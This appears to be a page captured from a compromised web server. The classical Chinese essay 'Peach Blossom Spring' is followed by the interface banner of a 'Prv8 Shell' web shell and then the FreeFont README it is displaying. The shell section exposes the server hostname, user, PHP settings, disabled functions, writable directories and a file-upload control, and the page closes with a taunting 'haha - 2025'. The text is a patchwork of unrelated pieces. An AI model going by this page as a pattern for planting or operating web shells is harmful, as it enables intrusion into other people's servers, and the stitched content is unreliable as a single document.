晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/libraries/tcpdf/fonts/freefont/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/libraries/tcpdf/fonts/freefont/README
-*-text-*-
$Id: README,v 1.1 2002/11/28 10:10:30 peterlin Exp $

Summary: This project aims to privide a set of free scalable
(PostScript Type0, TrueType, OpenType...) fonts covering the ISO
10646/Unicode UCS (Universal Character Set).


Why do we need free scalable UCS fonts?

A large number of free software users switched from free X11
bitmapped fonts to proprietary Microsoft Truetype fonts, as a) they
used to be freely downloaded from Microsoft Typography page
<http://www.microsoft.com/typography/free.htm>, b) they contain a more
or less decent subsed of the ISO 10646 UCS (Universal Character Set),
c) they are high-quality, well hinted scalable Truetype fonts, and d)
Freetype <http://www.freetype.org/>, a free high-quality Truetype font
renderer exists and has been integrated into the latest release of
XFree86, the free X11 server.

Building a dependence on non-free software, even a niche one like
fonts, is dangerous. Microsoft Truetype core fonts are not free, they
are just costless. For now, at least. Citing the TrueType core fonts
for the Web FAQ <http://www.microsoft.com/typography/faq/faq8.htm>:
"You may only redistribute the fonts in their original form (.exe or
.sit.hqx) and with their original file name from your Web site or
intranet site. You must not supply the fonts, or any derivative fonts
based on them, in any form that adds value to commercial products,
such as CD-ROM or disk based multimedia programs, application software
or utilities." As of August 2002, however, the fonts are not
anymore available on the Web, which makes the situation clearer.

Aren't there any free high-quality scalable fonts? Yes, there are.
URW++, a German digital typefoundry, released their own version of the
35 Postscript Type 1 core fonts under GPL as their donation to the
Ghostscript project <http://www.gimp.org/fonts.html>. The Wadalab
Kanji comittee has produced Type 1 font files with thousands of
filigree Japanese glyphs <ftp://ftp.ipl.t.u-tokyo.ac.jp/pub/Font/>.
Yannis Haralambous has drawn beautiful glyphs for the Omega
typesetting system <http://omega.cse.unsw.edu.au:8080/>. And so
on. Scattered around the internet there are numerous other free
resources for other national scripts, many of them aiming to be a
suitable match for Latin fonts like Times or Helvetica.


What do we plan to achieve, and how?

Our aim is to collect available resources, fill in the missing pieces,
and provide a set of free high-quality scalable (Type 1 and Truetype)
UCS fonts, released under GPL. 

Free UCS scalable fonts will cover the following character sets

* ISO 8859 parts 1-15
* CEN MES-3 European Unicode Subset
  http://www.evertype.com/standards/iso10646/pdf/cwa13873.pdf
* IBM/Microsoft code pages 437, 850, 852, 1250, 1252 and more
* Microsoft/Adobe Windows Glyph List 4 (WGL4)
  http://partners.adobe.com/asn/developer/opentype/appendices/wgl4.html
* KOI8-R and KOI8-RU
* DEC VT100 graphics symbols
* International Phonetic Alphabet
* Arabic, Hebrew, Armenian, Georgian, Ethiopian, Thai and Lao alphabets,
  including Arabic presentation forms A/B
* Japanese Katakana and Hiragana
* mathematical symbols, including the whole TeX repertoire of symbols
* APL symbols
  etc.

A free Postscript font editor, George Williams's Pfaedit
<http://pfaedit.sourceforge.net/> will be used for creating new
glyphs.

Which font shapes should be made? As historical style terms like
Renaissance or Baroque letterforms cannot be applied beyond
Latin/Cyrillic/Greek scripts to any greater extent than Kufi or Nashki
can be applied beyond Arabic script, a smaller subset of styles will
be made: one monospaced and two proportional (one with uniform stroke
and one with modulated) will be made at the start.

In the beginning, however, we don't believe that Truetype hinting will
be good enough to compete with neither the hand-crafted bitmapped
fonts at small sizes, nor with commercial TrueType fonts. A companion
program for modifying the TrueType font tables, TtfMod, is in the
works, though: <http://pfaedit.sourceforge.net/TtfMod/>. For
applications like xterm, users are referred to the existing UCS bitmap
fonts, <http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html>.


What do the file suffices mean?

The files with .sfd (Spline Font Database) are in PfaEdit's native
format. Please use these if you plan to modify the font files. PfaEdit
can export these to mostly any existing font file format.

TrueType fonts for immediate consumption are the files with the .ttf
(TrueType Font) suffix. You can use them directly, e.g. with the X
font server.

The files with .ps (PostScript) suffix are not font files at all -
they are merely PostScript files with glyph tables, which can be used
for overview, which glyphs are contained in which font file.

You may have noticed the lacking of PostScript Type 1 (.pfa/.pfb) font
files. Type 1 format does not support large (> 256) encoding vectors,
so they can not be used with ISO 10646 encoding. If your printer
supports it, you can use Type 0 format, though. Please use PfaEdit for
conversion to Type 0.


Primoz Peterlin, <primoz.peterlin@biofiz.mf.uni-lj.si>

Free UCS scalable fonts: ftp://biofiz.mf.uni-lj.si/pub/fonts/elbrus/

haha - 2025